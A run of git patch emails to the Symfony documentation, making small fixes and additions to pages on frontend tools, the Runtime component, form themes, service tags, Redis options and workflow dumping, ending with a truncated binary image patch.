Date: Tue, 5 Dec 2023 12:00:27 +0100
Subject: [PATCH 5465/7107] Added missing backtick character

---
 service_container/tags.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container/tags.rst b/service_container/tags.rst
index c293998d85b..cb4c4d562f9 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -220,7 +220,7 @@ method::
     }
 
 You can also make attributes usable on methods. To do so, update the previous
-example and add ``Attribute::TARGET_METHOD`::
+example and add ``Attribute::TARGET_METHOD``::
 
     // src/Attribute/SensitiveElement.php
     namespace App\Attribute;

From 9b5abac2eed433f464c428a356dab79542dbfd2f Mon Sep 17 00:00:00 2001
From: Ryan Weaver <ryan@symfonycasts.com>
Date: Fri, 1 Dec 2023 14:43:12 -0500
Subject: [PATCH 5466/7107] [Frontend] Identify the 2 main approaches to a
 frontend

---
 frontend.rst | 33 ++++++++++++++++++++++++++-------
 1 file changed, 26 insertions(+), 7 deletions(-)

diff --git a/frontend.rst b/frontend.rst
index 15f994ad40d..3153b30cf67 100644
--- a/frontend.rst
+++ b/frontend.rst
@@ -1,11 +1,17 @@
 Front-end Tools: Handling CSS & JavaScript
 ==========================================
 
-Symfony gives you the flexibility to choose any front-end tools you want. This could
-be dead-simple - like putting CSS & JS directly in the ``public/`` directory - or
-more advanced - like scaffolding your front-end with a tool like Next.js.
+Symfony gives you the flexibility to choose any front-end tools you want. There
+are generally two approaches: :ref:`building your HTML with PHP & Twig <frontend-twig-php>`
+or :ref:`building your frontend with a JavaScript framework <frontend-js>` like React.
+Both work great - and are discussed below.
 
-However, Symfony *does* come with two powerful options to help you build a modern,
+.. _frontend-twig-php:
+
+Using PHP & Twig
+----------------
+
+Symfony comes with two powerful options to help you build a modern,
 fast frontend, *and* enjoy the process:
 
 * :ref:`AssetMapper <frontend-asset-mapper>` (recommended for new projects) runs
@@ -39,7 +45,7 @@ be executed by a browser.
 .. _frontend-asset-mapper:
 
 AssetMapper (Recommended)
--------------------------
+~~~~~~~~~~~~~~~~~~~~~~~~~
 
 AssetMapper is the recommended system for handling your assets. It runs entirely
 in PHP with *no* complex build step or dependencies. It does this by leveraging
@@ -51,7 +57,7 @@ to a polyfill.
 .. _frontend-webpack-encore:
 
 Webpack Encore
---------------
+~~~~~~~~~~~~~~
 
 .. screencast::
 
@@ -65,7 +71,7 @@ asset system that's a *delight* to use.
 :doc:`Read the Encore Documentation </frontend/encore/index>`
 
 Stimulus & Symfony UX Components
---------------------------------
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 Once you've installed AssetMapper or Encore, it's time to start building your
 front-end. You can write your JavaScript however you want, but we recommend
@@ -74,6 +80,18 @@ using `Stimulus`_, `Turbo`_ and a set of tools called `Symfony UX`_.
 To learn about Stimulus & the UX Components, see:
 the `StimulusBundle Documentation`_
 
+.. _frontend-js:
+
+Using a Front-end Framework (React, Vue, Svelte, etc)
+-----------------------------------------------------
+
+If you want to use a front-end framework (Next.js, React, Vue, Svelte, etc),
+we recommend using their native tools and using Symfony as a pure API. A wonderful
+tool to do that is `API Platform`_. Their standard distribution comes with a
+Symfony-powered API backend, frontend scaffolding in Next.js (other frameworks
+are also supported) and a React admin interface. It comes fully Dockerized and even
+contains a web server.
+
 Other Front-End Articles
 ------------------------
 
@@ -89,3 +107,4 @@ Other Front-End Articles
 .. _Stimulus: https://stimulus.hotwired.dev/
 .. _Turbo: https://turbo.hotwired.dev/
 .. _Symfony UX: https://ux.symfony.com
+.. _API Platform: https://api-platform.com/

From 50ade2382945f88ca91784af30531d38d88d3573 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 5 Dec 2023 15:07:13 +0100
Subject: [PATCH 5467/7107] Minor tweak

---
 frontend.rst | 7 +++++--
 1 file changed, 5 insertions(+), 2 deletions(-)

diff --git a/frontend.rst b/frontend.rst
index 3153b30cf67..e9591654212 100644
--- a/frontend.rst
+++ b/frontend.rst
@@ -2,8 +2,11 @@ Front-end Tools: Handling CSS & JavaScript
 ==========================================
 
 Symfony gives you the flexibility to choose any front-end tools you want. There
-are generally two approaches: :ref:`building your HTML with PHP & Twig <frontend-twig-php>`
-or :ref:`building your frontend with a JavaScript framework <frontend-js>` like React.
+are generally two approaches:
+
+#. :ref:`building your HTML with PHP & Twig <frontend-twig-php>`;
+#. :ref:`building your frontend with a JavaScript framework <frontend-js>` like React.
+
 Both work great - and are discussed below.
 
 .. _frontend-twig-php:

From 8962ac5a86983537af816d36ebdb2901f5e538c3 Mon Sep 17 00:00:00 2001
From: morrsky <jan@kowalski.name>
Date: Tue, 5 Dec 2023 11:25:31 +0100
Subject: [PATCH 5468/7107] Update runtime.rst

typo PHP-PM:PHP-FPM
---
 components/runtime.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/runtime.rst b/components/runtime.rst
index c1588bac187..df7b26141aa 100644
--- a/components/runtime.rst
+++ b/components/runtime.rst
@@ -2,7 +2,7 @@ The Runtime Component
 =====================
 
     The Runtime Component decouples the bootstrapping logic from any global state
-    to make sure the application can run with runtimes like PHP-PM, ReactPHP,
+    to make sure the application can run with runtimes like PHP-FPM, ReactPHP,
     Swoole, etc. without any changes.
 
 .. versionadded:: 5.3

From 817c1722246df61e9b46734bd847ff796b1091ee Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Tue, 5 Dec 2023 16:13:46 +0100
Subject: [PATCH 5469/7107] fix the Runtime component introduction

---
 components/runtime.rst | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/components/runtime.rst b/components/runtime.rst
index df7b26141aa..bc2fe81e726 100644
--- a/components/runtime.rst
+++ b/components/runtime.rst
@@ -2,8 +2,8 @@ The Runtime Component
 =====================
 
     The Runtime Component decouples the bootstrapping logic from any global state
-    to make sure the application can run with runtimes like PHP-FPM, ReactPHP,
-    Swoole, etc. without any changes.
+    to make sure the application can run with runtimes like `PHP-PM`_, `ReactPHP`_,
+    `Swoole`_, etc. without any changes.
 
 .. versionadded:: 5.3
 
@@ -483,5 +483,7 @@ The end user will now be able to create front controller like::
         return new SomeCustomPsr15Application();
     };
 
+.. _PHP-PM: https://github.com/php-pm/php-pm
+.. _Swoole: https://openswoole.com/
 .. _ReactPHP: https://reactphp.org/
 .. _`PSR-15`: https://www.php-fig.org/psr/psr-15/

From 4b645b480b10100d91a02a1c01c7b37cc4cce43e Mon Sep 17 00:00:00 2001
From: Aurimas <aurimas1rimkus@gmail.com>
Date: Tue, 5 Dec 2023 21:39:42 +0200
Subject: [PATCH 5470/7107] Fix custom form type docs.

---
 form/create_custom_field_type.rst | 11 +++++------
 1 file changed, 5 insertions(+), 6 deletions(-)

diff --git a/form/create_custom_field_type.rst b/form/create_custom_field_type.rst
index ccb90a04377..7292356841d 100644
--- a/form/create_custom_field_type.rst
+++ b/form/create_custom_field_type.rst
@@ -362,9 +362,8 @@ fragments used to render the types:
 
     {# ... here you will add the Twig code ... #}
 
-Then, update the :ref:`form_themes option <reference-twig-tag-form-theme>` to
-add this new template at the beginning of the list (the first one overrides the
-rest of files):
+Then, update the :ref:`form_themes option <config-twig-form-themes>` to
+add this new template at the end of the list (each theme overrides all the previous ones):
 
 .. configuration-block::
 
@@ -373,8 +372,8 @@ rest of files):
         # config/packages/twig.yaml
         twig:
             form_themes:
-                - 'form/custom_types.html.twig'
                 - '...'
+                - 'form/custom_types.html.twig'
 
     .. code-block:: xml
 
@@ -389,8 +388,8 @@ rest of files):
                 https://symfony.com/schema/dic/twig/twig-1.0.xsd">
 
             <twig:config>
-                <twig:form-theme>form/custom_types.html.twig</twig:form-theme>
                 <twig:form-theme>...</twig:form-theme>
+                <twig:form-theme>form/custom_types.html.twig</twig:form-theme>
             </twig:config>
         </container>
 
@@ -401,8 +400,8 @@ rest of files):
 
         return static function (TwigConfig $twig) {
             $twig->formThemes([
-                'form/custom_types.html.twig',
                 '...',
+                'form/custom_types.html.twig',
             ]);
         };
 

From 1be5c60a2931bb407564684895290c85c707a6a4 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Wed, 6 Dec 2023 09:55:30 +0100
Subject: [PATCH 5471/7107] use a release-indepent command to sign the symfony
 CLI

---
 setup/symfony_server.rst | 6 +-----
 1 file changed, 1 insertion(+), 5 deletions(-)

diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index 1c1ce448245..76073b5dcfa 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -65,11 +65,7 @@ run the Symfony server in the background:
 
     .. code-block:: terminal
 
-        # find the installed version of the Symfony binary
-        $ symfony version
-
-        # change the path to the location of your Symfony binary and replace {version} too
-        $ sudo codesign --force --deep --sign - /opt/homebrew/Cellar/symfony-cli/{version}/bin/symfony
+        $ sudo codesign --force --deep --sign - $(whereis -q symfony)
 
 Enabling PHP-FPM
 ----------------

From 0d4561053034e17f3a228501d540aced565a0a90 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Adrian=20G=C3=BCnter?= <adrianguenter@gmail.com>
Date: Wed, 6 Dec 2023 11:23:57 -0500
Subject: [PATCH 5472/7107] Fix typo in dic_tags.rst

Correct spelling of "artifacts"
---
 reference/dic_tags.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/dic_tags.rst b/reference/dic_tags.rst
index d1100bb2395..fd390d7bd59 100644
--- a/reference/dic_tags.rst
+++ b/reference/dic_tags.rst
@@ -516,7 +516,7 @@ The ``warmUp()`` method must return an array with the files and classes to
 preload. Files must be absolute paths and classes must be fully-qualified class
 names. The only restriction is that files must be stored in the cache directory.
 If you don't need to preload anything, return an empty array. If read-only
-artefacts need to be created, you can store them in a different directory
+artifacts need to be created, you can store them in a different directory
 with the ``$buildDir`` parameter of the ``warmUp()`` method.
 
 .. versionadded:: 6.4

From a02f175b96ccf29e7c7f27447f3afad76c00f8c3 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Fri, 8 Dec 2023 11:11:25 +0100
Subject: [PATCH 5473/7107] [Routing] Improving language, shortening twig code

Page: https://symfony.com/doc/6.3/routing.html#getting-the-route-name-and-parameters

* The first sentence wasn't english.
* Defining a  Twig variable for this is quite useless nowadays - this looks like a leftover from previous versions where the syntax was lengthy: https://symfony.com/doc/5.4/routing.html#getting-the-route-name-and-parameters
---
 routing.rst | 9 ++++-----
 1 file changed, 4 insertions(+), 5 deletions(-)

diff --git a/routing.rst b/routing.rst
index 701814e0767..66cd714e782 100644
--- a/routing.rst
+++ b/routing.rst
@@ -1603,15 +1603,14 @@ information in a controller via the ``Request`` object::
         }
     }
 
-You can get this information in services too injecting the ``request_stack``
-service to :doc:`get the Request object in a service </service_container/request>`.
-In templates, use the :ref:`Twig global app variable <twig-app-variable>` to get
+To get this information in a service, see :doc:`/service_container/request`.
+In templates, you can use the :ref:`Twig global app variable <twig-app-variable>` to get
 the current route and its attributes:
 
 .. code-block:: twig
 
-    {% set route_name = app.current_route %}
-    {% set route_parameters = app.current_route_parameters %}
+    {% app.current_route %}
+    {% app.current_route_parameters %}
 
 .. versionadded:: 6.2
 

From 9b5bcd2efe1c50e94d6a39006073243148c5d7a8 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Fri, 8 Dec 2023 11:14:56 +0100
Subject: [PATCH 5474/7107] clean up Symfony 5 versionadded directives

---
 service_container.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/service_container.rst b/service_container.rst
index 7a7a900028d..bf53c5d2a03 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -1038,10 +1038,6 @@ Autconfiguration also works with attributes. Some attributes like
 for autoconfiguration. Any class using these attributes will have tags applied
 to them.
 
-.. versionadded:: 5.3
-
-    Autoconfiguration through attributes was introduced in Symfony 5.3.
-
 Linting Service Definitions
 ---------------------------
 

From 07905b59655e2354eb5f145caff4685d328b6008 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Fri, 8 Dec 2023 11:32:08 +0100
Subject: [PATCH 5475/7107] fix markup

---
 components/property_info.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/property_info.rst b/components/property_info.rst
index ca05d944429..892cd5345a3 100644
--- a/components/property_info.rst
+++ b/components/property_info.rst
@@ -200,7 +200,7 @@ can provide the full documentation block for a property as a string::
 
 .. versionadded:: 7.1
 
-    The :class:`Symfony\\Component\\PropertyInfo\\PropertyDocBlockExtractorInterface``
+    The :class:`Symfony\\Component\\PropertyInfo\\PropertyDocBlockExtractorInterface`
     interface was introduced in Symfony 7.1.
 
 .. _property-info-description:
@@ -437,7 +437,7 @@ library is present::
 
 .. versionadded:: 7.1
 
-    The :method:`Symfony\\Component\\PropertyInfo\\Extractor\\PhpDocExtractor::getDocBlock``
+    The :method:`Symfony\\Component\\PropertyInfo\\Extractor\\PhpDocExtractor::getDocBlock`
     method was introduced in Symfony 7.1.
 
 PhpStanExtractor

From bc023ee1f37219e3d390d20128ffe118d080a6db Mon Sep 17 00:00:00 2001
From: Nicolas Potier <nicolas.potier@acseo-conseil.fr>
Date: Wed, 6 Dec 2023 15:59:50 +0100
Subject: [PATCH 5476/7107] Add missing use statements

---
 configuration/multiple_kernels.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/configuration/multiple_kernels.rst b/configuration/multiple_kernels.rst
index 9464fcf39f7..5121aed9bb3 100644
--- a/configuration/multiple_kernels.rst
+++ b/configuration/multiple_kernels.rst
@@ -257,7 +257,8 @@ the application ID to run under CLI context::
 
     // bin/console
     use Shared\Kernel;
-    // ...
+    use Symfony\Component\Console\Input\InputInterface;
+    use Symfony\Component\Console\Input\InputOption;
 
     return function (InputInterface $input, array $context) {
         $kernel = new Kernel($context['APP_ENV'], (bool) $context['APP_DEBUG'], $input->getParameterOption(['--id', '-i'], $context['APP_ID']));

From dc5e8e77efd74997cc1bfc5ff794cafa5d3f7052 Mon Sep 17 00:00:00 2001
From: Nicolas Potier <nicolas.potier@acseo-conseil.fr>
Date: Wed, 6 Dec 2023 15:45:52 +0100
Subject: [PATCH 5477/7107] Update multiple_kernels.rst

Adding the two required namespaces in the code sample
---
 configuration/multiple_kernels.rst | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/configuration/multiple_kernels.rst b/configuration/multiple_kernels.rst
index 5121aed9bb3..e73c7e4ebef 100644
--- a/configuration/multiple_kernels.rst
+++ b/configuration/multiple_kernels.rst
@@ -117,6 +117,9 @@ resources::
     // src/Kernel.php
     namespace Shared;
 
+    // ...
+    use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
+    use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
     // ...
 
     class Kernel extends BaseKernel

From ae4577a5a32e6c14e5a61b141f1541cc3514801e Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Fri, 8 Dec 2023 15:40:05 +0100
Subject: [PATCH 5478/7107] -

---
 configuration/multiple_kernels.rst | 2 --
 1 file changed, 2 deletions(-)

diff --git a/configuration/multiple_kernels.rst b/configuration/multiple_kernels.rst
index e73c7e4ebef..cd654e5dbeb 100644
--- a/configuration/multiple_kernels.rst
+++ b/configuration/multiple_kernels.rst
@@ -117,10 +117,8 @@ resources::
     // src/Kernel.php
     namespace Shared;
 
-    // ...
     use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
     use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
-    // ...
 
     class Kernel extends BaseKernel
     {

From a0ede91549aa234b2143abd77c5fb29bdd539286 Mon Sep 17 00:00:00 2001
From: ioanok <ioan.agavriloaei@gmail.com>
Date: Fri, 8 Dec 2023 15:25:02 +0200
Subject: [PATCH 5479/7107] Update flex_private_recipes.rst

---
 setup/flex_private_recipes.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/setup/flex_private_recipes.rst b/setup/flex_private_recipes.rst
index d4d3156466d..d143c69f3d7 100644
--- a/setup/flex_private_recipes.rst
+++ b/setup/flex_private_recipes.rst
@@ -224,7 +224,7 @@ computer, and execute the following command:
 
 .. code-block:: terminal
 
-    $ composer config --global --auth gitlab-oauth.gitlab.com [token]
+    $ composer config --global --auth gitlab-token.gitlab.com [token]
 
 Replace ``[token]`` with the value of your Gitlab personal access token.
 

From 4c6855fb4ebd7d29b274e3acd4748377e3c153a1 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Fri, 8 Dec 2023 19:55:10 +0100
Subject: [PATCH 5480/7107] update the target branch for new features

---
 contributing/code/pull_requests.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/contributing/code/pull_requests.rst b/contributing/code/pull_requests.rst
index 564ac26bb4a..dedb5c45cb8 100644
--- a/contributing/code/pull_requests.rst
+++ b/contributing/code/pull_requests.rst
@@ -132,7 +132,7 @@ work:
   branch (you can find them on the `Symfony releases page`_). E.g. if you
   found a bug introduced in ``v5.1.10``, you need to work on ``5.4``.
 
-* ``6.4``, if you are adding a new feature.
+* ``7.1``, if you are adding a new feature.
 
   The only exception is when a new :doc:`major Symfony version </contributing/community/releases>`
   (5.0, 6.0, etc.) comes out every two years. Because of the

From 625e4323fa5faaa90e15141222afc7210869a95c Mon Sep 17 00:00:00 2001
From: hbgamra <ha.ben.gamra@gmail.com>
Date: Tue, 28 Nov 2023 09:44:45 +0100
Subject: [PATCH 5481/7107] Update console.rst

remove $kernel variable
---
 console.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/console.rst b/console.rst
index 96bcc5dfcfb..393f75fe677 100644
--- a/console.rst
+++ b/console.rst
@@ -513,8 +513,8 @@ console::
     {
         public function testExecute()
         {
-            $kernel = self::bootKernel();
-            $application = new Application($kernel);
+            self::bootKernel();
+            $application = new Application(self::$kernel);
 
             $command = $application->find('app:create-user');
             $commandTester = new CommandTester($command);

From 6c5e3bcb1075107d76fed0bec2abe9136c2cfcdc Mon Sep 17 00:00:00 2001
From: louismariegaborit <lm.gabo@gmail.com>
Date: Sat, 18 Nov 2023 00:41:28 +0100
Subject: [PATCH 5482/7107] Update serverVersion for MariaDB

---
 doctrine.rst | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/doctrine.rst b/doctrine.rst
index e5f4d0bdfc3..6777a31cc2f 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -44,7 +44,10 @@ The database connection information is stored as an environment variable called
     DATABASE_URL="mysql://db_user:db_password@127.0.0.1:3306/db_name?serverVersion=5.7"
 
     # to use mariadb:
-    DATABASE_URL="mysql://db_user:db_password@127.0.0.1:3306/db_name?serverVersion=mariadb-10.5.8"
+    # Before doctrine/dbal < 3.7
+    # DATABASE_URL="mysql://db_user:db_password@127.0.0.1:3306/db_name?serverVersion=mariadb-10.5.8"
+    # Since doctrine/dbal 3.7
+    # DATABASE_URL="mysql://db_user:db_password@127.0.0.1:3306/db_name?serverVersion=10.5.8-MariaDB"
 
     # to use sqlite:
     # DATABASE_URL="sqlite:///%kernel.project_dir%/var/app.db"

From e1e9205375955b6da8feda826ef6910bc0c44274 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Sat, 9 Dec 2023 10:39:37 +0100
Subject: [PATCH 5483/7107] minor

---
 rate_limiter.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/rate_limiter.rst b/rate_limiter.rst
index 178d0d59229..3cc7e28ea23 100644
--- a/rate_limiter.rst
+++ b/rate_limiter.rst
@@ -350,7 +350,7 @@ the :class:`Symfony\\Component\\RateLimiter\\Reservation` object returned by the
             $limit = $limiter->consume();
             $headers = [
                 'X-RateLimit-Remaining' => $limit->getRemainingTokens(),
-                'X-RateLimit-Retry-After' => $limit->getRetryAfter()->getTimestamp(),
+                'X-RateLimit-Retry-After' => $limit->getRetryAfter()->getTimestamp() - time(),
                 'X-RateLimit-Limit' => $limit->getLimit(),
             ];
 

From 8fd55540f297d191981796337ad25934a8fdda12 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Sat, 9 Dec 2023 10:42:40 +0100
Subject: [PATCH 5484/7107] [DependencyInjection] Mention `exclude_self`

---
 service_container/tags.rst | 88 +++++++++++++++++++++++++++++++++++---
 1 file changed, 83 insertions(+), 5 deletions(-)

diff --git a/service_container/tags.rst b/service_container/tags.rst
index 4955016d5a0..2d356a9f375 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -842,10 +842,88 @@ iterator, add the ``exclude`` option:
             ;
         };
 
-.. note::
+In the case the referencing service is itself tagged with the tag being used in the tagged
+iterator, it is automatically excluded from the injected iterable. This behavior can be
+disabled by setting the ``exclude_self`` option to ``false``:
+
+.. configuration-block::
+
+    .. code-block:: php-attributes
+
+        // src/HandlerCollection.php
+        namespace App;
+
+        use Symfony\Component\DependencyInjection\Attribute\TaggedIterator;
+
+        class HandlerCollection
+        {
+            public function __construct(
+                #[TaggedIterator('app.handler', exclude: ['App\Handler\Three'], excludeSelf: false)]
+                iterable $handlers
+            ) {
+            }
+        }
+
+    .. code-block:: yaml
+
+        # config/services.yaml
+        services:
+            # ...
 
-    In the case the referencing service is itself tagged with the tag being used in the tagged
-    iterator, it is automatically excluded from the injected iterable.
+            # This is the service we want to exclude, even if the 'app.handler' tag is attached
+            App\Handler\Three:
+                tags: ['app.handler']
+
+            App\HandlerCollection:
+                arguments:
+                    - !tagged_iterator { tag: app.handler, exclude: ['App\Handler\Three'], exclude_self: false }
+
+    .. code-block:: xml
+
+        <!-- config/services.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <services>
+                <!-- ... -->
+
+                <!-- This is the service we want to exclude, even if the 'app.handler' tag is attached -->
+                <service id="App\Handler\Three">
+                    <tag name="app.handler"/>
+                </service>
+
+                <service id="App\HandlerCollection">
+                    <!-- inject all services tagged with app.handler as first argument -->
+                    <argument type="tagged_iterator" tag="app.handler" exclude-self="false">
+                        <exclude>App\Handler\Three</exclude>
+                    </argument>
+                </service>
+            </services>
+        </container>
+
+    .. code-block:: php
+
+        // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
+
+            // ...
+
+            // This is the service we want to exclude, even if the 'app.handler' tag is attached
+            $services->set(App\Handler\Three::class)
+                ->tag('app.handler')
+            ;
+
+            $services->set(App\HandlerCollection::class)
+                // inject all services tagged with app.handler as first argument
+                ->args([tagged_iterator('app.handler', exclude: [App\Handler\Three::class], excludeSelf: false)])
+            ;
+        };
 
 .. versionadded:: 6.1
 
@@ -853,8 +931,8 @@ iterator, add the ``exclude`` option:
 
 .. versionadded:: 6.3
 
-    The automatic exclusion of the referencing service in the injected iterable was
-    introduced in Symfony 6.3.
+    The ``exclude_self`` option and the automatic exclusion of the referencing
+    service in the injected iterable were introduced in Symfony 6.3.
 
 .. seealso::
 

From b6e04d989bd6cb046fc944f9caee00a578d1759c Mon Sep 17 00:00:00 2001
From: Kevin Bond <kevinbond@gmail.com>
Date: Sat, 9 Dec 2023 10:35:07 +0100
Subject: [PATCH 5485/7107] [Bundle] add tip for marking internal services as
 hidden

---
 bundles/best_practices.rst | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/bundles/best_practices.rst b/bundles/best_practices.rst
index 26915bdea9b..d2819e42fdb 100644
--- a/bundles/best_practices.rst
+++ b/bundles/best_practices.rst
@@ -482,6 +482,13 @@ can be used for autowiring.
 Services should not use autowiring or autoconfiguration. Instead, all services should
 be defined explicitly.
 
+.. tip::
+
+    If there is no intention for the service id to be used by the end user, you can
+    mark it as *hidden* by prefixing it with a dot (e.g. ``.acme_blog.logger``).
+    This prevents the service from being listed in the default ``debug:container``
+    command output.
+
 .. seealso::
 
     You can learn much more about service loading in bundles reading this article:

From 5d0f97dbc6a77485fb935aff780c47f6217fd773 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sat, 9 Dec 2023 10:58:46 +0100
Subject: [PATCH 5486/7107] [Cache][Messenger] make both options redis_sentinel
 and sentinel_master available everywhere

---
 components/cache/adapters/redis_adapter.rst | 8 ++++++++
 messenger.rst                               | 7 ++++++-
 2 files changed, 14 insertions(+), 1 deletion(-)

diff --git a/components/cache/adapters/redis_adapter.rst b/components/cache/adapters/redis_adapter.rst
index a25b1a510ed..1550d419081 100644
--- a/components/cache/adapters/redis_adapter.rst
+++ b/components/cache/adapters/redis_adapter.rst
@@ -200,6 +200,9 @@ Available Options
 ``redis_sentinel`` (type: ``string``, default: ``null``)
     Specifies the master name connected to the sentinels.
 
+``sentinel_master`` (type: ``string``, default: ``null``)
+    Alias of ``redis_sentinel`` option.
+
 ``dbindex`` (type: ``int``, default: ``0``)
     Specifies the database index to select.
 
@@ -211,6 +214,11 @@ Available Options
 ``ssl`` (type: ``array``, default: ``null``)
     SSL context options. See `php.net/context.ssl`_ for more information.
 
+.. versionadded:: 7.1
+
+    The option `sentinel_master` as an alias for `redis_sentinel` was introduced
+    in Symfony 7.1.
+
 .. note::
 
     When using the `Predis`_ library some additional Predis-specific options are available.
diff --git a/messenger.rst b/messenger.rst
index 14ce030f840..07a734d96c9 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1582,9 +1582,14 @@ read_timeout             Float, value in seconds                ``0``
 timeout                  Connection timeout. Float, value in    ``0``
                          seconds default indicates unlimited
 sentinel_master          String, if null or empty Sentinel      null
-                         support is disabled
+redis_sentinel           support is disabled
 =======================  =====================================  =================================
 
+.. versionadded:: 7.1
+
+    The option `redis_sentinel` as an alias for `sentinel_master` was introduced
+    in Symfony 7.1.
+
 .. caution::
 
     There should never be more than one ``messenger:consume`` command running with the same

From 3a4b4363f6922fc71ec38d8ac5a8b5e949f4d6c8 Mon Sep 17 00:00:00 2001
From: Louis-Proffit <77028679+Louis-Proffit@users.noreply.github.com>
Date: Fri, 9 Jun 2023 17:05:33 +0200
Subject: [PATCH 5487/7107] [Workflow] feature symfony#50604 metadata dumping

---
 .../components/workflow/blogpost_metadata.png   | Bin 0 -> 39729 bytes
 workflow/dumping-workflows.rst                  |  15 +++++++++++++++
 2 files changed, 15 insertions(+)
 create mode 100644 _images/components/workflow/blogpost_metadata.png

diff --git a/_images/components/workflow/blogpost_metadata.png b/_images/components/workflow/blogpost_metadata.png
new file mode 100644
index 0000000000000000000000000000000000000000..783f51c6ccfc20820f475d080bf00f37ca1f21dc
GIT binary patch
literal 39729
zcmeGEWmJ@J)CCR`0}LS!E!|y%bc2+1Bh83P3lh>fpdcwyLzk2aNGTl(N+TtTgmi<n
z^n1-uecpe*pWhG9TCBwYGk09~xz5>ppM7|yr=xa_fQA4A1LK<dZDj)t3~Uqz24)!)
z7yM?`Jv|Epg9$@jS<%SXdNUh;>e~3#=eAB(O#+f?Rb_+kx2ktE*)+e-+XwOGvjmhz
zb(0z#_3FHff)%huR7be<P~w}tSPE$?x$>i#uv#9>ZV<L#_Oz}%tDZ{tY+bp?jy!9%
z*Yw)>T7Dc=8ng2R3yTTk|N5nhAFBoF5a}g84#R+k{-3`bpbGF^iT}$l!H=k07)VC~
zRipoh<8^cj|2u^>)1$3PQ9&=VAP6Qb>bZiYrDcTAPY)PW9Rv9c4+2rZKz}tW{0zA|
zW8C^y^^wp@g;5a$;zi13^5#Yyt+>w0cs&usizF1W{vjgf&)XFg+_Csj$J0KH;}upG
zyE#mOFbqs#Xn(eJn(I_OW`_ti$NCr2P{h0+1}69m_!5L6Isy-d)ygd1yIQXboI<gf
zU{BkBxV342j;9Yt%&QA!Vn9Y+3QDj4y`rq!7|6BGH%uI`w+Y}caz_Gg)X23xNMXR=
z)nh_03lmre2Ym2C##9-s28pQ=;oqf=XTj+3GLnK3LBHvMzXT9W(SXC0r>nI6y9G_K
z04tc_bgU>}Tw4VUBsF%o1J>WuyKrK3)XL&OF(7m*;0^H_k(tOaL?d_RD&gPf17XGJ
z=&ZrSVhSbElED^Y!sv*_ye|TN{%_^qk%b~AbFd&7Sn(|24QfRnwL28x)5+QgIDgLo
zM?SL$Yp-w}6I#rmQU3`8e8+UC|M%x)R`9VUgQua2?FLvdEzMp31`lX)T1`T0_<!Ny
z8wqYlx<OS}@&Ek@7#&6e51=<7eC*(6$Sc!$BN6_RXRFfx-9e}iSiqJf=L2%c0Sr9c
z{0L_v@SP^~sl~q)k_0FI-%I%4RX~U7|E|LSuEPK3h5yZt|63#ew^IK94PLlEC^}JL
zRk-juVRWf4ZEd7TbN){7?rh2JM5IBn7I*N{M9cAv=5?80p_12r7!pE88MYlL{^BoN
zfd8m1W*n|Tvd{og`zbMl%<UiV9u^j=C5+5{j9lwZWIX@?b$Zy;(vpr{JHseyxg4O^
zfLs;ffTK<P%4WZPgSih+o<#BJF`)?9@R^Z+aJ#}7gbAh3s*J<*lLr7O&k?`%G49jt
zrX7dARQ_9hx;Zl3sw|#Mz3dPni+3*b6Uxs>hglP3SlER8_7*#l+%a^+i#9`9lB|o#
zT}Ef~&V-bFT*^r{T`^SRCD_XoSREp{+)e<@|A(tr04|pj<cxwsHrX&bM0BoB4>xK(
